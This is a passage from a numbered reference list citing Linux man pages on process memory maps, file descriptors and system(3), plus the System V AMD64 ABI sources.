  12. Linux man-pages, proc_pid_maps(5) and proc_pid_fd(5).
  13. Linux man-pages, system(3).
  14. x86 psABIs, System V AMD64 ABI sources.